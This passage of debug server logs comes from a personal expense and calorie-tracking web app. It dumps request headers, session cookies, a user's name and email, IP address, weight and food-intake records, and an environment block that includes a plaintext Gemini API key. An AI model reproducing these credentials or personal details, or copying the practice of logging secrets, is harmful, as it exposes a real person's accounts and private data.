    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'x-forwarded-for': '157.48.245.205',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:59:07.603Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.245.205',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'HTTP_X_FORWARDED-FOR': '157.48.245.205',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-14T08:25:57.729Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-14T08:25:57.730Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-14T08:25:57.733Z server-connect:app Executing action step identify
2025-12-14T08:25:57.733Z server-connect:app options: { provider: 'security' }
2025-12-14T08:25:57.733Z server-connect:output identity: 1
2025-12-14T08:25:57.733Z server-connect:app Executing action step restrict
2025-12-14T08:25:57.733Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:25:57.734Z server-connect:app Executing action step identify
2025-12-14T08:25:57.734Z server-connect:app options: { provider: 'security' }
2025-12-14T08:25:57.734Z server-connect:output identity: 1
2025-12-14T08:25:57.734Z server-connect:app Executing action step restrict
2025-12-14T08:25:57.734Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:25:57.734Z server-connect:output restrict: undefined
2025-12-14T08:25:57.735Z server-connect:app Executing action step single
2025-12-14T08:25:57.735Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-14T08:25:57.735Z server-connect:output restrict: undefined
2025-12-14T08:25:57.735Z server-connect:app Executing action step select
2025-12-14T08:25:57.735Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-14T08:25:57.735Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-14T08:25:57.739Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-14T08:26:02.157Z server-connect:router Serving templateView /calorie-tracker
2025-12-14T08:26:02.157Z server-connect:app Executing action step identify
2025-12-14T08:26:02.157Z server-connect:app options: { provider: 'security' }
2025-12-14T08:26:02.157Z server-connect:output identity: 1
2025-12-14T08:26:02.158Z server-connect:app Executing action step restrict
2025-12-14T08:26:02.158Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T08:26:02.159Z server-connect:output restrict: undefined
2025-12-14T08:26:02.159Z server-connect:router Render template calorie-tracker
2025-12-14T08:26:02.159Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'x-forwarded-for': '157.48.245.205',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:59:07.603Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.245.205',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3At5nGNqr3SVo%2FChwQooerSQ%3D%3D.eMRt48dC32ChQ5AKz2SpilFlEW6qSdW6sTUviYnBEaFo9tg%2F8p%2FfUgy2wiqyp3GN4lkunUniMDO3XYSgrzjl7O8UgrZn%2FUdr9U3Jc15J%2FMlJztnVsWWM917Wf%2B3%2FXHnzU%2B%2FUIWOAsXLSnFQtsq%2Bbd%2FpHxomDiTMeRY9rtdu7BjM%3D.jCt8VSI6frs%2BTkpYuvLj3R0ceQAlOs%2FpeFZ%2B37%2FWb8E; your_r_git.sid=s%3A34xWocA8KQN9MG_Ugw-4Z0qTJtNAYPX5.LZNhHT90Le%2F7JhK8W0Mil3d9LmxXXo1sdraq0yvhjjA',
    'HTTP_X_FORWARDED-FOR': '157.48.245.205',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-14T08:26:02.396Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-14T08:26:02.397Z server-connect:app Executing action step identify
2025-12-14T08:26:02.397Z server-connect:app options: { provider: 'security' }
2025-12-14T08:26:02.397Z server-connect:output identity: 1
2025-12-14T08:26:02.397Z server-connect:app Executing action step restrict
2025-12-14T08:26:02.397Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:26:02.398Z server-connect:output restrict: undefined
2025-12-14T08:26:02.398Z server-connect:app Executing action step single
2025-12-14T08:26:02.398Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-14T08:26:02.400Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-14T08:26:02.400Z server-connect:app Executing action step select
2025-12-14T08:26:02.400Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-14T08:26:02.402Z server-connect:output item_list: [
  {
    id: 387,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Salted Fries',
    calories: 210,
    protein_gm: 3,
    carbs_gm: 28,
    fat_gm: 11,
    quantity: 'Few pieces (approx 70g)',
    replacements: 'Baked potato wedges,Air-fried sweet potato fries,Roasted vegetables,Oven-baked fries (with minimal oil)',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 3,
    skip_reason: 'Deep-fried, high in unhealthy fats and refined carbohydrates. It offers minimal protein and micronutrients, contributing to empty calories which is counterproductive for muscle development and fat loss.'
  },
  {
    id: 388,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Ginger Ale',
    calories: 66,
    protein_gm: 0,
    carbs_gm: 17,
    fat_gm: 0,
    quantity: 'Half (approx 165ml, based on a standard 330ml can)',
    replacements: 'Water,Sparkling water with a slice of ginger/lemon,Diet ginger ale (use sparingly),Unsweetened herbal tea',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 3,
    skip_reason: 'High in added sugars and offers empty calories with no nutritional value (protein, fiber, vitamins) for muscle growth or overall health. Leads to unnecessary blood sugar spikes.'
  },
  {
    id: 389,
    intake_date: '2025-12-13T18:30:00.000Z',
    item_name: 'Paneer Pakoda',
    calories: 128,
    protein_gm: 5,
    carbs_gm: 9,
    fat_gm: 9,
    quantity: '1 piece (approx 40g)',
    replacements: 'Grilled paneer,Tandoori paneer,Paneer tikka,Baked paneer pakoda (using minimal oil),Paneer bhurji',
    created_at: '2025-12-14T02:31:14.000Z',
    skip_level: 2,
    skip_reason: 'While paneer provides protein, this item is deep-fried, leading to high unhealthy fat and calorie content from the frying oil and besan (gram flour) batter. Healthier, non-fried forms of paneer are much more beneficial for muscle development.'
  }
]
2025-12-14T08:26:02.402Z server-connect:app Executing action step setvalue
2025-12-14T08:26:02.402Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-14T08:26:02.402Z server-connect:output var_total: 404
2025-12-14T08:26:02.402Z server-connect:app Executing action step setvalue
2025-12-14T08:26:02.402Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-14T08:26:02.402Z server-connect:output var_consumed: 17
2025-12-14T08:26:02.402Z server-connect:app Executing action step setvalue
2025-12-14T08:26:02.402Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-14T08:26:02.402Z server-connect:output var_deficit: 1996
2025-12-14T08:26:02.402Z server-connect:app Executing action step custom
2025-12-14T08:26:02.402Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-14T08:26:02.404Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  }
]
2025-12-14T08:26:11.315Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-14T08:26:11.316Z server-connect:app Executing action step identify
2025-12-14T08:26:11.316Z server-connect:app options: { provider: 'security' }
2025-12-14T08:26:11.316Z server-connect:output identity: 1
2025-12-14T08:26:11.316Z server-connect:app Executing action step restrict
2025-12-14T08:26:11.316Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:26:11.317Z server-connect:output restrict: undefined
2025-12-14T08:26:11.317Z server-connect:app Executing action step processWithGemini
2025-12-14T08:26:11.317Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-14T08:26:26.804Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Avocado Toast',
      quantity: '1 slice whole-wheat toast with 1/2 medium avocado (approx 110g total)',
      calories_consumed: 208,
      total_calories: 208,
      protein: '5.6 g',
      carbs: '21.8 g',
      fat: '13 g',
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Avocado toast is generally a healthy choice, providing good fats (monounsaturated), fiber, and complex carbohydrates for sustained energy. For muscle development, which requires significant protein, consider pairing this with a lean protein source like scrambled eggs, cottage cheese, or a protein shake to ensure adequate protein intake, especially after your morning gym sessions.'
    }
  ],
  total_macros: {
    total_calories: 208,
    total_protein: '5.6 g',
    total_carbs: '21.8 g',
    total_fat: '13 g'
  }
}
2025-12-14T08:26:30.815Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-14T08:26:30.816Z server-connect:app Executing action step identify
2025-12-14T08:26:30.816Z server-connect:app options: { provider: 'security' }
2025-12-14T08:26:30.816Z server-connect:output identity: 1
2025-12-14T08:26:30.816Z server-connect:app Executing action step restrict
2025-12-14T08:26:30.816Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-14T08:26:30.817Z server-connect:output restrict: undefined
2025-12-14T08:26:30.817Z server-connect:app Executing action step processWithGemini
2025-12-14T08:26:30.817Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-14T08:26:44.130Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Avocado Toast',
      quantity: '1 serving (approx. 2 slices whole wheat bread, 80g avocado)',
      total_calories: 284,
